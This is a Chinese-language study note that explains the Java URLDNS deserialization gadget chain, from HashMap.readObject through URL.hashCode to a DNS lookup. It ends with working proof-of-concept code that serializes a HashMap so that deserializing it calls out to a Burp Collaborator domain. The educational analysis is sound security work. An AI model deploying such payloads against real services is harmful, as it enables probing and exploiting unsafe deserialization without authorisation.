- java里面与Http相关的是URL类,并且继承了Serialize,可以序列化
- 正常的写法是调用它的openConnection()方法
- 返回值类型为URLConnection,跟进查看发现是一个抽象类。它实现类一般是通过HttpURLConnection来实现
- 但是HttpURLConnection没用继承serialize类,而且openConnection()也很难找到再其他地方找到相同的,寻找其他可以利用的函数
- 返回值类型为URLConnection,跟进查看发现是一个抽象类。它实现类一般是通过HttpURLConnection来实现
- 发现hashcode()函数
- 跟进去发现有一个if判断,判断hashcode值是否为-1,后面会用到,先记录一下。
- 然后发现它调用了Hander.hashCode(),跟进查看
- 这里发现调用了getHostAddress()函数,这个是根据域名获取地址,那么这里肯定会做一个域名解析的工作,也就是说,如果我们调用了URL类的hashCode()函数,那我们就可以得到一个DNS请求。
- 入口点 : HashMap继承了serialize,满足参数类型宽泛,也是JDK自带的,也重写了readObject,是一个很完美的入口类
- 会进行数据传输,所以继承了serialize
- 本身就是键值对,满足参数类型宽泛
- 因为hashmap需要保证键的唯一性,就要计算键的hashcode,如果键是对象的话,在不同的JVM实现中计算得出的hash值可能是不同的,所以他必须重新实现他的readobject方法
- HashMap的readObject()方法中调用了hash()方法
- hash方法中传入的是Object类型的key
- ,并且在下面调用了key的hashCode()的方法,这个方法是Object类里面的方法,同时URL里面也调用了HashCode方法,正好可以走到URL类里面。
- 并且HashMap是JDK自带的类,所以它是一个很完美的入口类
- 接下来我们就可以构造反序列化了
- 首先我们先定义个一个hashmap
public class SerializeTest {
public static void serialize(Object object) throws IOException {
ObjectOutputStream oos =new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(object);
}
public static void main(String[] args) throws IOException, IllegalAccessException, InstantiationException, NoSuchMethodException, InvocationTargetException, NoSuchFieldException {
HashMap<URL, Integer> hashMap = new HashMap<URL, Integer>();
hashMap.put(new URL("http://7pxj1d67txgczg8v60mu3rtpfgl69v.burpcollaborator.net"),1);
serialize(hashMap);
}
}
- 这里put进去的是DNSlog平台生成的域名
- 我们将它进行序列化,正常来说这里应该什么都不会发生,但实际上我们看到,在他序列化的时候,我们就已经接受到了请求
- 我们跟到hashMap的put()方法里面可以看到,为了确保键的唯一,haspmap在put的时候就会调用他的hash方法,也就会调用他的hashcode方法
- 实际上在put的时候就已经发起了一次dns请求。这样就会让人误以为是在反序列化的时候收到的,但是其实在本地的时候就已经发起了DNS请求。
- 我们之前发现的URL类里面的hashcode()函数判断hash!=-1的时候就直接返回了
- 而hashcode初始化的时候值为-1
- 所以在我们put的时候hashcode的值已经变为了url的hashcode的值。所以我们在反序列化之后也不会收到请求,因为hashcode的值已经不是-1了。
- 这里应该在put之前让他不要发起请求,在put之后将hashcode 的值改回-1
- 这里的对象已经生成了,我们要想改变它的值,就需要通过反射进行改变已于对象的属性。
- 反射
- 关于反射可以查看 Java反射
- 根据判断我们可以得知,如果在put之前把hashcode的值改变使其不为-1,那么在put的时候就不会发起请求了,然后再put完成之后序列化之前将hashcode的值变为-1,反序列的时候才会发起请求。
- 使用反射修改hashcode的值不为-1
HashMap<URL, Integer> hashMap = new HashMap<URL, Integer>();
//hashcode=-1
URL url = new URL("http://ra53o8vteex9coox80tso6htgkmba0.burpcollaborator.net");
Class c = url.getClass();
Field hashCodefield = c.getDeclaredField("hashCode");
hashCodefield.setAccessible(true);
hashCodefield.set(url,1);//不等于-1就可以
hashMap.put(url,1);
//hashcode= url的hashcode值了
serialize(hashMap);
- put的时候有没有发起请求
- 可以看到没有发起请求,然后我们需要在序列化之前将hashcode的值设置为-1,在serialize之前设置
hashCodefield.set(url,-1);
- 再次查看dnslog 还是没有请求
- 运行unserialize,dnslog收到请求。
poc
package ysoserial.ay;
import java.io.*;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;
/**
* @ClassName URLDNS
* @Author aY
* @Date 2023/3/12 15:47
* @Description
*/
public class URLDNS {
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
HashMap<URL, Integer> hashMap = new HashMap<URL, Integer>();
//hashcode=-1
URL url = new URL("http://2mpiyigubkvlt0e80ojyv51lscy2mr.burpcollaborator.net");
Class c = url.getClass();
Field hashCodefield = c.getDeclaredField("hashCode");
hashCodefield.setAccessible(true);
hashCodefield.set(url,1234);//不等于-1就可以
hashMap.put(url,1);
//hashcode= url的hashcode值了
hashCodefield.set(url,-1);
serialize(hashMap);
// unserialize("ser.bin");
}
//封装serialize
public static void serialize(Object object) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(object);
}
//封装unserialize
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}